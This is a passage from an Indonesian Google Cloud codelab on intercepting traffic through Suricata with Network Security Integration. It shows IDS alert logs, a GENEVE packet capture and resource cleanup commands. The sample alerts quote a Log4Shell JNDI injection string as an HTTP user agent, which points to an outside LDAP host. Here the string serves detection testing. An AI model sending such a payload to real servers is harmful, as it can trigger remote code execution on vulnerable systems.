activity","severity":3,"metadata":{"attack_target":["Server"],"confidence":["Medium"],"created_at":["2021_12_17"],"cve":["CVE_2021_44228"],"deployment":["Internal","Perimeter"],"mitre_tactic_id":["TA0001"],"mitre_tactic_name":["Initial_Access"],"mitre_technique_id":["T1190"],"mitre_technique_name":["Exploit_Public_Facing_Application"],"reviewed_at":["2024_05_07"],"signature_severity":["Major"],"tag":["Exploit"],"updated_at":["2021_12_17"]}},"http":{"hostname":"www.google.com","url":"/","http_user_agent":"${jndi:ldap://123.123.123.123:8081/a}","http_method":"GET","protocol":"HTTP/1.1","length":0},"app_proto":"http","flow":{"pkts_toserver":30,"pkts_toclient":24,"bytes_toserver":3672,"bytes_toclient":1280,"start":"2025-01-22T19:46:12.023110+0000"}}
- Kembali ke Cloud Shell dengan keluar dari sesi SSH
exit
Secara opsional, Anda dapat melakukan SSH ke VM Suricata di $zoneb (suricata-$zoneb) dan memvalidasi log
gcloud compute ssh suricata-$zoneb \ --zone $zoneb
Lihat log yang difilter berdasarkan jenis serangan:
cat /var/log/suricata/eve.json | grep log4j
Contoh output:
{"timestamp":"2025-01-22T19:56:59.374251+0000","flow_id":552447884886066,"in_iface":"ens4","event_type":"alert","src_ip":"192.168.0.4","src_port":52072,"dest_ip":"74.125.135.105","dest_port":80,"proto":"TCP","metadata":{"flowbits":["tcp.retransmission.alerted"],"flowints":{"tcp.retransmission.count":10}},"alert":{"action":"allowed","gid":1,"signature_id":2034783,"rev":2,"signature":"ET HUNTING Possible Apache log4j RCE Attempt - Any Protocol TCP (Outbound) (CVE-2021-44228)","category":"Misc activity","severity":3,"metadata":{"attack_target":["Server"],"confidence":["Medium"],"created_at":["2021_12_17"],"cve":["CVE_2021_44228"],"deployment":["Internal","Perimeter"],"mitre_tactic_id":["TA0001"],"mitre_tactic_name":["Initial_Access"],"mitre_technique_id":["T1190"],"mitre_technique_name":["Exploit_Public_Facing_Application"],"reviewed_at":["2024_05_07"],"signature_severity":["Major"],"tag":["Exploit"],"updated_at":["2021_12_17"]}},"http":{"hostname":"www.google.com","url":"/","http_user_agent":"${jndi:ldap://123.123.123.123:8081/a}","http_method":"GET","protocol":"HTTP/1.1","length":0},"app_proto":"http","flow":{"pkts_toserver":30,"pkts_toclient":24,"bytes_toserver":3672,"bytes_toclient":1280,"start":"2025-01-22T19:50:07.098354+0000"}}
Selain itu, tangkapan paket akan menjadi cara yang baik untuk melihat dan memvalidasi traffic.
Perintah ini akan memfilter paket GENEVE. Contoh perintah:
sudo tcpdump -i any -nn udp port 6081
Sekarang kirim beberapa traffic pengujian dari VM konsumen. Contoh output:
05:53:50.719074 ens4 In IP 10.0.0.1.28006 > 10.0.0.11.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 192.168.0.2.56988 > 74.125.197.105.80: Flags [S], seq 3051541109, win 65320, options [mss 1420,sackOK,TS val 1951282372 ecr 0,nop,wscale 7], length 0 05:53:50.719190 ens4 Out IP 10.0.0.11.28006 > 10.0.0.1.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 192.168.0.2.56988 > 74.125.197.105.80: Flags [S], seq 3051541109, win 65320, options [mss 1420,sackOK,TS val 1951282372 ecr 0,nop,wscale 7], length 0 05:53:50.728752 ens4 In IP 10.0.0.1.28006 > 10.0.0.11.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 74.125.197.105.80 > 192.168.0.2.56988: Flags [S.], seq 1472275282, ack 3051541110, win 31856, options [mss 1460,sackOK,TS val 2006244508 ecr 1951282372,nop,wscale 8], length 0 05:53:50.728785 ens4 Out IP 10.0.0.11.28006 > 10.0.0.1.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 74.125.197.105.80 > 192.168.0.2.56988: Flags [S.], seq 1472275282, ack 3051541110, win 31856, options [mss 1460,sackOK,TS val 2006244508 ecr 1951282372,nop,wscale 8], length 0
Perhatikan bahwa dengan tcpdump, Anda dapat melihat header GENEVE. IP Sumber adalah IP gateway subnet (10.0.0.1) dan IP Tujuan adalah IP aturan penerusan (10.0.0.11 atau 10.0.0.12). Paket yang dienkapsulasi berisi paket asli - IP klien consumer-$zonea (192.168.0.2) atau consumer-$zoneb (192.168.0.3) dan tujuan google.com. Hal ini mengonfirmasi bahwa paket sedang dicegat dan dikirim ke appliance pihak ketiga melalui Integrasi Keamanan Jaringan.
- Kembali ke Cloud Shell dengan keluar dari sesi SSH
exit
Selamat. Anda telah berhasil men-deploy dan menguji lingkungan dengan Network Security Integration (NSI) in-band.
5. Pembersihan
Konsumen
Hapus VM Konsumen:
gcloud compute instances delete consumer-$zonea \ --zone $zonea -q gcloud compute instances delete consumer-$zoneb \ --zone $zoneb -q gcloud compute instances delete consumer-$zonec \ --zone $zonec -q
Menghapus Pengaitan dan Kebijakan Firewall:
gcloud compute network-firewall-policies associations delete \
--firewall-policy consumer-fwpolicy \
--name consumer-fwpolicy-association \
--global-firewall-policy -q
gcloud compute network-firewall-policies delete consumer-fwpolicy \
--global -q
Menghapus Grup Profil Keamanan dan Profil Keamanan:
gcloud network-security security-profile-groups delete nsi-spg \
--organization=$org_id \
--project=$project_id \
--location=global -q
gcloud network-security security-profiles custom-intercept delete nsi-intercept-profile \
--organization $org_id \
--location global -q
Menghapus asosiasi endpoint dan mencegat grup endpoint:
gcloud network-security intercept-endpoint-group-associations delete nsi-endpoint-group-assoc \
--location global -q
gcloud network-security intercept-endpoint-groups delete nsi-endpoint-group \
--location global -q
Menghapus Cloud NAT, Cloud Router, dan IP yang Dicadangkan
gcloud compute routers nats delete consumer-cloudnat-$region \
--router=consumer-$region-cr --router-region $region -q
gcloud compute routers delete consumer-$region-cr \
--region=$region -q
gcloud compute addresses delete consumer-$region-cloudnatip \
--region=$region -q
Menghapus VPC dan Subnet
gcloud compute networks subnets delete consumer-$region-subnet \ --region $region -q gcloud compute networks delete consumer-vpc -q
Produser
Menghapus deployment pencegatan:
gcloud network-security intercept-deployments delete nsi-deployment-$zonea \
--location $zonea -q
gcloud network-security intercept-deployments delete nsi-deployment-$zoneb \
--location $zoneb -q
Menghapus grup deployment pencegatan (deployment pencegatan harus selesai dihapus sebelum perintah ini berhasil):
gcloud network-security intercept-deployment-groups delete producer-nsi-deployment-group \
--location global -q
Menghapus aturan penerusan:
gcloud compute forwarding-rules delete producer-fr-$zonea \ --region=projects/$project_id/regions/$region -q gcloud compute forwarding-rules delete producer-fr-$zoneb \ --region=projects/$project_id/regions/$region -q
Menghapus IP yang dicadangkan untuk aturan penerusan:
gcloud compute addresses delete producer-fr-$zonea-ip \
--region $region -q
gcloud compute addresses delete producer-fr-$zoneb-ip \
--region $region -q
Menghapus layanan backend:
gcloud compute backend-services delete producer-bes \ --region=projects/$project_id/regions/$region -q
Hapus grup instance tidak terkelola:
gcloud compute instance-groups unmanaged delete producer-$zonea-uig \ --zone $zonea -q gcloud compute instance-groups unmanaged delete producer-$zoneb-uig \ --zone $zoneb -q
Menghapus health check:
gcloud compute health-checks delete nva-hc -q
Hapus VM Produser:
gcloud compute instances delete suricata-$zonea \ --zone $zonea -q gcloud compute instances delete suricata-$zoneb \ --zone $zoneb -q
Hapus Cloud NAT, Cloud Router, dan IP yang Dicadangkan:
gcloud compute routers nats delete producer-cloudnat-$region \ --router=producer-$region-cr --router-region $region -q gcloud compute routers delete producer-$region-cr \ --region=$region -q gcloud compute addresses delete producer-$region-cloudnatip --region=$region -q
Hapus Pengaitan Kebijakan FW:
gcloud compute network-firewall-policies associations delete \
--firewall-policy producer-fwpolicy \
--name producer-fwpolicy-association \
--global-firewall-policy -q
Hapus Kebijakan FW:
gcloud compute network-firewall-policies delete producer-fwpolicy \ --global -q
Menghapus VPC dan Subnet
gcloud compute networks subnets delete producer-$region-subnet \ --region=$region -q gcloud compute networks delete producer-vpc -q
6. Selamat!
Selamat, Anda berhasil menyelesaikan codelab In-band Network Security Integration with Suricata.
Tonton video demo khusus vendor NSI in-band:
Lihat beberapa panduan deployment khusus vendor yang mungkin relevan dengan organisasi Anda: